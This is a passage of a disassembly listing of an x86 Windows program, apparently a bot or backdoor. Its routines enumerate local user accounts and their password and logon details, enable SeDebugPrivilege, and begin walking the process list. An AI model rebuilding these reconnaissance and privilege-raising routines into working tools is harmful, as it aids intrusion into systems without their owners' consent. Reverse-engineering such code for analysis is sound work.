		add	esp, 24h
		jmp	short loc_419C9C
; ---------------------------------------------------------------------------

loc_419C2F:				; CODE XREF: sub_419B93+5Dj
					; sub_419B93+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_419C93
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_419C3D:				; CODE XREF: sub_419B93+FCj
		push	dword ptr [esi+10h]
		call	dword_4E4108	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_419C54
		mov	eax, offset aNo	; "No"

loc_419C54:				; CODE XREF: sub_419B93+BAj
		push	eax
		lea	eax, [ebp+Dest]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419C3D
		xor	esi, esi

loc_419C93:				; CODE XREF: sub_419B93+A2j
		push	[ebp+var_4]
		call	dword_4E42B0

loc_419C9C:				; CODE XREF: sub_419B93+9Aj
		cmp	ebx, 0EAh
		jz	loc_419BCC
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_419B93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CB4	proc near		; CODE XREF: sub_401CC7+47D2p
					; sub_401CC7+47FFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Str		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_419D59
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_419CF6
		dec	eax
		jz	short loc_419CEB
		dec	eax
		jnz	short loc_419D11
		push	[ebp+arg_14]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_C]	; int
		push	ebx		; int
		push	edi		; int
		call	sub_419DFB
		add	esp, 14h
		jmp	short loc_419D0D
; ---------------------------------------------------------------------------

loc_419CEB:				; CODE XREF: sub_419CB4+1Dj
		push	ebx
		push	edi
		call	sub_419DDA
		pop	ecx
		pop	ecx
		jmp	short loc_419D0D
; ---------------------------------------------------------------------------

loc_419CF6:				; CODE XREF: sub_419CB4+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419D0A
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_419D80
		add	esp, 0Ch
		jmp	short loc_419D0D
; ---------------------------------------------------------------------------

loc_419D0A:				; CODE XREF: sub_419CB4+45j
		push	57h
		pop	eax

loc_419D0D:				; CODE XREF: sub_419CB4+35j
					; sub_419CB4+40j ...
		cmp	eax, edi
		jnz	short loc_419D31

loc_419D11:				; CODE XREF: sub_419CB4+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset byte_4F4184
		push	off_450EA4[eax*4]
		push	offset asc_4515F8 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_419D79
; ---------------------------------------------------------------------------

loc_419D31:				; CODE XREF: sub_419CB4+5Bj
		push	eax
		call	sub_41A364
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset byte_4F4184
		push	off_450EA0[eax*4]
		push	offset asc_451618 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_419D79
; ---------------------------------------------------------------------------

loc_419D59:				; CODE XREF: sub_419CB4+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset byte_4F4184
		lea	eax, [eax+eax*2]
		push	off_450EA0[eax*4]
		push	offset asc_451648 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_419D79:				; CODE XREF: sub_419CB4+7Bj
					; sub_419CB4+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419CB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D80	proc near		; CODE XREF: sub_419CB4+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419B2F
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419B2F
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419B2F
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4E40F8
		pop	edi
		leave
		retn
sub_419D80	endp


; =============== S U B	R O U T	I N E =======================================



sub_419DDA	proc near		; CODE XREF: sub_419CB4+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419B2F
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419B2F
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4E40E8
		pop	esi
		retn
sub_419DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419DFB(int,int,int,char *Str,int)

sub_419DFB	proc near		; CODE XREF: sub_419CB4+2Dp

Dest		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419B2F
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419B2F
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4E4278
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41A1A3
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_41A1DE
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+Dest]
		push	offset aAccountS ; "Account: %S"
		push	eax		; Dest
		call	_sprintf
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+Str]
		mov	ebx, [ebp+arg_8]
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+Dest]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+Dest]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+Dest]
		push	offset aCommentS ; "Comment: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419F1A
		dec	eax
		jz	short loc_419F13
		dec	eax
		jz	short loc_419F0C
		mov	eax, offset aUnknown_1 ; "Unknown"
		jmp	short loc_419F1F
; ---------------------------------------------------------------------------

loc_419F0C:				; CODE XREF: sub_419DFB+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419F1F
; ---------------------------------------------------------------------------

loc_419F13:				; CODE XREF: sub_419DFB+105j
		mov	eax, offset aUser_3 ; "User"
		jmp	short loc_419F1F
; ---------------------------------------------------------------------------

loc_419F1A:				; CODE XREF: sub_419DFB+102j
		mov	eax, offset aGuest ; "Guest"

loc_419F1F:				; CODE XREF: sub_419DFB+10Fj
					; sub_419DFB+116j ...
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+Dest]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+Dest]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+Dest]
		push	offset aParametersS ; "Parameters: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+Dest]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+Dest]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+Dest]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+Dest]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+Dest]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+Dest]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+Dest]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+Dest]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+Dest]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+Dest]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+Dest]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D6C
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_41A1CF
; ---------------------------------------------------------------------------

loc_41A1A3:				; CODE XREF: sub_419DFB+35j
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4517F8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_8]	; int
		call	sub_409D6C
		add	esp, 20h

loc_41A1CF:				; CODE XREF: sub_419DFB+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_41A1DE
		push	[ebp+var_4]
		call	dword_4E42B0

loc_41A1DE:				; CODE XREF: sub_419DFB+40j
					; sub_419DFB+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419DFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A1E4(int,char *Str,int,int)

sub_41A1E4	proc near		; CODE XREF: sub_401CC7+4836p

Dest		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419B2F
		push	esi		; int
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]	; int
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 18h

loc_41A223:				; CODE XREF: sub_41A1E4+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4E4180
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41A284
		cmp	eax, 0EAh
		jz	short loc_41A284
		push	eax
		push	eax
		call	sub_41A364
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_451874 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 24h
		jmp	short loc_41A2FF
; ---------------------------------------------------------------------------

loc_41A284:				; CODE XREF: sub_41A1E4+62j
					; sub_41A1E4+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41A312
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_41A2FF

loc_41A296:				; CODE XREF: sub_41A1E4+EDj
		cmp	edi, esi
		jz	short loc_41A2D5
		push	dword ptr [edi]
		lea	eax, [ebp+Dest]
		push	offset aS_30	; "  %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41A296
		jmp	short loc_41A2FF
; ---------------------------------------------------------------------------

loc_41A2D5:				; CODE XREF: sub_41A1E4+B4j
		lea	eax, [ebp+Dest]
		push	offset asc_451840 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 1Ch

loc_41A2FF:				; CODE XREF: sub_41A1E4+9Ej
					; sub_41A1E4+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41A312
		push	edi
		call	dword_4E42B0
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_41A312:				; CODE XREF: sub_41A1E4+A5j
					; sub_41A1E4+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41A223
		cmp	edi, esi
		jz	short loc_41A32A
		push	edi
		call	dword_4E42B0

loc_41A32A:				; CODE XREF: sub_41A1E4+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+Dest]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41A1E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A364	proc near		; CODE XREF: sub_41999D+41p
					; sub_419B93+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_41A416
		jz	loc_41A40F
		cmp	eax, 7Bh
		ja	short loc_41A3DB
		jz	short loc_41A3D1
		cmp	eax, 5
		jz	short loc_41A3C7
		cmp	eax, 8
		jz	short loc_41A3BD
		cmp	eax, 32h
		jz	short loc_41A3B3
		cmp	eax, 35h
		jz	short loc_41A3A9
		cmp	eax, 57h
		jnz	loc_41A465
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_41A486
; ---------------------------------------------------------------------------

loc_41A3A9:				; CODE XREF: sub_41A364+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_41A486
; ---------------------------------------------------------------------------

loc_41A3B3:				; CODE XREF: sub_41A364+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_41A486
; ---------------------------------------------------------------------------

loc_41A3BD:				; CODE XREF: sub_41A364+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_41A486
; ---------------------------------------------------------------------------

loc_41A3C7:				; CODE XREF: sub_41A364+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_41A486
; ---------------------------------------------------------------------------

loc_41A3D1:				; CODE XREF: sub_41A364+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_41A486
; ---------------------------------------------------------------------------

loc_41A3DB:				; CODE XREF: sub_41A364+1Aj
		sub	eax, 7Ch
		jz	short loc_41A408
		sub	eax, 7C8h
		jz	short loc_41A401
		dec	eax
		jz	short loc_41A3F7
		dec	eax
		jnz	short loc_41A465
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_41A486
; ---------------------------------------------------------------------------

loc_41A3F7:				; CODE XREF: sub_41A364+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_41A486
; ---------------------------------------------------------------------------

loc_41A401:				; CODE XREF: sub_41A364+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_41A486
; ---------------------------------------------------------------------------

loc_41A408:				; CODE XREF: sub_41A364+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_41A486
; ---------------------------------------------------------------------------

loc_41A40F:				; CODE XREF: sub_41A364+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_41A486
; ---------------------------------------------------------------------------

loc_41A416:				; CODE XREF: sub_41A364+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41A44F
		jz	short loc_41A448
		sub	eax, 8ADh
		jz	short loc_41A47A
		dec	eax
		dec	eax
		jz	short loc_41A441
		dec	eax
		jz	short loc_41A43A
		dec	eax
		dec	eax
		jnz	short loc_41A465
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_41A486
; ---------------------------------------------------------------------------

loc_41A43A:				; CODE XREF: sub_41A364+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_41A486
; ---------------------------------------------------------------------------

loc_41A441:				; CODE XREF: sub_41A364+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_41A486
; ---------------------------------------------------------------------------

loc_41A448:				; CODE XREF: sub_41A364+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_41A486
; ---------------------------------------------------------------------------

loc_41A44F:				; CODE XREF: sub_41A364+B9j
		sub	eax, 8CAh
		jz	short loc_41A481
		sub	eax, 17h
		jz	short loc_41A47A
		sub	eax, 25h
		jz	short loc_41A473
		sub	eax, 29h
		jz	short loc_41A46C

loc_41A465:				; CODE XREF: sub_41A364+35j
					; sub_41A364+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_41A486
; ---------------------------------------------------------------------------

loc_41A46C:				; CODE XREF: sub_41A364+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_41A486
; ---------------------------------------------------------------------------

loc_41A473:				; CODE XREF: sub_41A364+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_41A486
; ---------------------------------------------------------------------------

loc_41A47A:				; CODE XREF: sub_41A364+C2j
					; sub_41A364+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_41A486
; ---------------------------------------------------------------------------

loc_41A481:				; CODE XREF: sub_41A364+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_41A486:				; CODE XREF: sub_41A364+40j
					; sub_41A364+4Aj ...
		push	offset byte_4F3F24 ; Dest
		call	_sprintf
		pop	ecx
		mov	eax, offset byte_4F3F24
		pop	ecx
		retn
sub_41A364	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A498(char *Source)

sub_41A498	proc near		; CODE XREF: sub_401CC7+487Bp

Dest		= word ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
Source		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h		; MaxCount
		push	[ebp+Source]	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_mbstowcs
		add	esp, 0Ch
		lea	eax, [ebp+Source]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+Source], esi
		call	ds:dword_4F63C8	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi		; MaxCount
		push	eax		; Source
		lea	eax, [ebp+var_318]
		push	eax		; Dest
		call	_mbstowcs
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_wcslen
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4E4230
		test	eax, eax
		jnz	short loc_41A528
		mov	esi, offset byte_4F3D20
		push	offset asc_451B70 ; "-"
		push	esi		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_41A551
; ---------------------------------------------------------------------------

loc_41A528:				; CODE XREF: sub_41A498+7Aj
		lea	ecx, [ebp+Dest]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41A364
		pop	ecx
		mov	esi, offset byte_4F3D20
		push	eax
		push	offset asc_451B98 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h

loc_41A551:				; CODE XREF: sub_41A498+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A498	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A556	proc near		; CODE XREF: sub_417AC3+45p
					; sub_417AC3+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	ds:dword_4F6400	; GetCurrentProcess
		push	eax
		call	dword_4E4204	; OpenProcessToken
		test	eax, eax
		jnz	short loc_41A575
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A575:				; CODE XREF: sub_41A556+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4E41DC	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_41A5B3
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_41A59C
		or	[ebp+var_8], 2
		jmp	short loc_41A5A0
; ---------------------------------------------------------------------------

loc_41A59C:				; CODE XREF: sub_41A556+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_41A5A0:				; CODE XREF: sub_41A556+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4E428C	; AdjustTokenPrivileges
		mov	esi, eax

loc_41A5B3:				; CODE XREF: sub_41A556+32j
		push	[ebp+var_4]
		call	ds:dword_4F6370	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A556	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A5C1(int,char *Str,int,char	*Str2,int,int)

sub_41A5C1	proc near		; CODE XREF: sub_401CC7+7A67p
					; sub_41A804+74p ...

Dest		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
Str1		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str2		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4E4240, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_41A7D4
		cmp	dword_4E4224, ebx
		jz	loc_41A7D4
		cmp	dword_4E4134, ebx
		jz	loc_41A7D4
		push	1
		push	offset aSedebugprivi_1 ; "SeDebugPrivilege"
		call	sub_41A556
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4E4240	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_41A7C7
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4E4224	; Process32First
		mov	esi, ds:dword_4F6370
		test	eax, eax
